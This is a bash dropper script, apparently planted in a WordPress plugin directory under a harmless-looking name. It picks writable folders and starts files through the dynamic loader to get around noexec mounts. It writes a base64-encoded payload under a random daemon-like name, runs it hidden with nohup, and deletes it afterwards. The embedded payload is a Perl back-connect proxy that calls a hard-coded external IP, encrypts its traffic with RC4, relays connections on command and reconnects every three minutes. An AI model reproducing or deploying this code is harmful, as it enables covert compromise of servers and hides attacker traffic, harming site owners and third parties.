/home/sylamedg/public_html/wp-content/plugins/elementor/modules/usage/jpgraph_bar
#!/bin/bash

# Словари для имен
PREFIXES=("sys" "net" "update" "cloud" "core" "db" "cron" "session" "cache" "local")
NOUNS=("worker" "daemon" "service" "manager" "runner" "helper" "monitor" "provider" "driver" "guard")

# Глобальная переменная для хранения найденных доступных папок
VALID_DIRS=()

# --- 1. Поиск загрузчика (LD) ---
get_loader() {
    for path in \
        /lib64/ld-linux-x86-64.so.2 \
        /lib/ld-linux.so.2 \
        /lib/ld-linux-armhf.so.3 \
        /lib/ld-musl-x86_64.so.1; do
        if [ -f "$path" ]; then echo "$path"; return; fi
    done
}
LOADER_BIN=$(get_loader)

# --- 2. Умный поиск папок для записи ---
init_write_dirs() {
    # Список приоритетных кандидатов
    # /dev/shm и /run - это ОЗУ (лучший выбор)
    # /var/crash и /var/tmp - часто забывают закрыть
    local candidates=(
        "/dev/shm"
        "/tmp"
        "/var/tmp"
        "/run/lock"
        "/var/crash"
        "/var/opt"
        "/usr/tmp"
        "$HOME"
        "/run/user/$(id -u 2>/dev/null)"
    )

    # Проверяем кандидатов
    for dir in "${candidates[@]}"; do
        if [ -d "$dir" ] && [ -w "$dir" ]; then
            VALID_DIRS+=("$dir")
        fi
    done

    # ПЛАН Б: Если список пуст, ищем вообще ЛЮБУЮ доступную папку в /var и /tmp
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        # Ищем папки с правами записи на глубину 3
        # 2>/dev/null скрывает ошибки доступа
        found=$(find /var /tmp -maxdepth 3 -type d -writable 2>/dev/null | head -n 5)
        for d in $found; do
            VALID_DIRS+=("$d")
        done
    fi

    # ПЛАН В: Если совсем всё плохо, пробуем текущую папку
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        if [ -w "." ]; then VALID_DIRS+=("."); fi
    fi
}

# --- 3. Получение случайной папки из найденных ---
get_random_dir() {
    # Если массив пуст, пытаемся инициализировать
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        init_write_dirs
    fi

    # Если всё ещё пусто (система read-only), возвращаем /tmp и надеемся на чудо
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        echo "/tmp"
        return
    fi

    local rand_idx=$((RANDOM % ${#VALID_DIRS[@]}))
    echo "${VALID_DIRS[$rand_idx]}"
}

# --- 4. Генерация имени ---
get_random_name() {
    local dir="$1"
    local name=""
    while true; do
        local p=${PREFIXES[$RANDOM % ${#PREFIXES[@]}]}
        local n=${NOUNS[$RANDOM % ${#NOUNS[@]}]}
        local r=$RANDOM
        name="${p}_${n}_${r}"
        if [ ! -e "$dir/$name" ]; then echo "$name"; break; fi
    done
}

run_payload() {
    local base64_data="$1"

    # Выбираем папку
    local work_dir=$(get_random_dir)
    local bin_name=$(get_random_name "$work_dir")
    local full_path="$work_dir/$bin_name"

    # Распаковка
    echo "$base64_data" | base64 -d > "$full_path" 2>/dev/null
    chmod +x "$full_path"

    echo "[*] Run in: $work_dir -> $bin_name"

    # Запуск в subshell
    (
        cd "$work_dir" || exit

        if [ -n "$LOADER_BIN" ]; then
            # Запуск через LD (обход noexec)
            nohup "$LOADER_BIN" "./$bin_name" >/dev/null 2>&1 &
        else
            # Прямой запуск
            nohup "./$bin_name" >/dev/null 2>&1 &
        fi
    )

    # Очистка
    ( sleep 5; rm -f "$full_path" ) >/dev/null 2>&1 &
    sleep 0.5
}

echo "--- Init System ---"
# Первичная инициализация папок при старте скрипта
init_write_dirs


# script_10.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU5JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_11.pl
